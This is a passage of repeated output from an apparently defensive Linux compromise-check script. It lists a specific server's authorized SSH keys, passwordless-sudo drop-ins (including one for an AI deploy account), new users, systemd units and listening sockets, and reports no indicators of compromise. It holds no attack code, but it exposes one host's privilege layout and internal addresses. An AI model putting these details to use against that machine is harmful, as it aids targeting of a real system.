ashraffarid2010@nc-ph-4857.happy-times.me-20260722 wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 11 11:53 /etc/systemd/system/multi-user.target.wants/pm2-ashraffarid2010.service Aug 11 11:53 /etc/systemd/system/pm2-ashraffarid2010.service Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=6902,fd=635)) 172.17.0.1:53 users:(("named",pid=6902,fd=636)) 172.17.0.1:53 users:(("named",pid=6902,fd=634)) 172.17.0.1:53 users:(("named",pid=6902,fd=633)) 172.17.0.1:53 users:(("named",pid=6902,fd=632)) 172.17.0.1:53 users:(("named",pid=6902,fd=631)) 172.17.0.1:53 users:(("named",pid=6902,fd=630)) 172.17.0.1:53 users:(("named",pid=6902,fd=629)) 172.17.0.1:53 users:(("named",pid=6902,fd=628)) 172.17.0.1:53 users:(("named",pid=6902,fd=627)) 172.17.0.1:53 users:(("named",pid=6902,fd=626)) 172.17.0.1:53 users:(("named",pid=6902,fd=625)) 0.0.0.0:54322 users:(("docker-proxy",pid=16181,fd=8)) 0.0.0.0:54323 users:(("docker-proxy",pid=11526,fd=8)) 0.0.0.0:54321 users:(("docker-proxy",pid=12668,fd=8)) 0.0.0.0:54324 users:(("docker-proxy",pid=15907,fd=8)) 100.107.43.94:64585 users:(("tailscaled",pid=1424,fd=23)) 172.21.0.1:53 users:(("named",pid=6902,fd=420)) 172.21.0.1:53 users:(("named",pid=6902,fd=419)) 172.21.0.1:53 users:(("named",pid=6902,fd=418)) 172.21.0.1:53 users:(("named",pid=6902,fd=417)) 172.21.0.1:53 users:(("named",pid=6902,fd=416)) 172.21.0.1:53 users:(("named",pid=6902,fd=415)) 172.21.0.1:53 users:(("named",pid=6902,fd=414)) 172.21.0.1:53 users:(("named",pid=6902,fd=413)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 2 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 11 11:53 /etc/systemd/system/multi-user.target.wants/pm2-ashraffarid2010.service Aug 11 11:53 /etc/systemd/system/pm2-ashraffarid2010.service Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=4095621,fd=512)) 172.17.0.1:53 users:(("named",pid=4095621,fd=513)) 172.17.0.1:53 users:(("named",pid=4095621,fd=511)) 172.17.0.1:53 users:(("named",pid=4095621,fd=510)) 172.17.0.1:53 users:(("named",pid=4095621,fd=509)) 172.17.0.1:53 users:(("named",pid=4095621,fd=508)) 172.17.0.1:53 users:(("named",pid=4095621,fd=507)) 172.17.0.1:53 users:(("named",pid=4095621,fd=506)) 172.17.0.1:53 users:(("named",pid=4095621,fd=505)) 172.17.0.1:53 users:(("named",pid=4095621,fd=504)) 172.17.0.1:53 users:(("named",pid=4095621,fd=503)) 172.17.0.1:53 users:(("named",pid=4095621,fd=502)) 0.0.0.0:54322 users:(("docker-proxy",pid=16181,fd=8)) 0.0.0.0:54323 users:(("docker-proxy",pid=11526,fd=8)) 0.0.0.0:54321 users:(("docker-proxy",pid=12668,fd=8)) 0.0.0.0:54324 users:(("docker-proxy",pid=15907,fd=8)) 100.107.43.94:64585 users:(("tailscaled",pid=1424,fd=23)) 172.21.0.1:53 users:(("named",pid=4095621,fd=297)) 172.21.0.1:53 users:(("named",pid=4095621,fd=296)) 172.21.0.1:53 users:(("named",pid=4095621,fd=295)) 172.21.0.1:53 users:(("named",pid=4095621,fd=294)) 172.21.0.1:53 users:(("named",pid=4095621,fd=293)) 172.21.0.1:53 users:(("named",pid=4095621,fd=292)) 172.21.0.1:53 users:(("named",pid=4095621,fd=291)) 172.21.0.1:53 users:(("named",pid=4095621,fd=290)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 2 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 11 11:53 /etc/systemd/system/multi-user.target.wants/pm2-ashraffarid2010.service Aug 11 11:53 /etc/systemd/system/pm2-ashraffarid2010.service Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=4095621,fd=512)) 172.17.0.1:53 users:(("named",pid=4095621,fd=513)) 172.17.0.1:53 users:(("named",pid=4095621,fd=511)) 172.17.0.1:53 users:(("named",pid=4095621,fd=510)) 172.17.0.1:53 users:(("named",pid=4095621,fd=509)) 172.17.0.1:53 users:(("named",pid=4095621,fd=508)) 172.17.0.1:53 users:(("named",pid=4095621,fd=507)) 172.17.0.1:53 users:(("named",pid=4095621,fd=506)) 172.17.0.1:53 users:(("named",pid=4095621,fd=505)) 172.17.0.1:53 users:(("named",pid=4095621,fd=504)) 172.17.0.1:53 users:(("named",pid=4095621,fd=503)) 172.17.0.1:53 users:(("named",pid=4095621,fd=502)) 0.0.0.0:54322 users:(("docker-proxy",pid=16181,fd=8)) 0.0.0.0:54323 users:(("docker-proxy",pid=11526,fd=8)) 0.0.0.0:54321 users:(("docker-proxy",pid=12668,fd=8)) 0.0.0.0:54324 users:(("docker-proxy",pid=15907,fd=8)) 100.107.43.94:64585 users:(("tailscaled",pid=1424,fd=23)) 172.21.0.1:53 users:(("named",pid=4095621,fd=297)) 172.21.0.1:53 users:(("named",pid=4095621,fd=296)) 172.21.0.1:53 users:(("named",pid=4095621,fd=295)) 172.21.0.1:53 users:(("named",pid=4095621,fd=294)) 172.21.0.1:53 users:(("named",pid=4095621,fd=293)) 172.21.0.1:53 users:(("named",pid=4095621,fd=292)) 172.21.0.1:53 users:(("named",pid=4095621,fd=291)) 172.21.0.1:53 users:(("named",pid=4095621,fd=290)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.)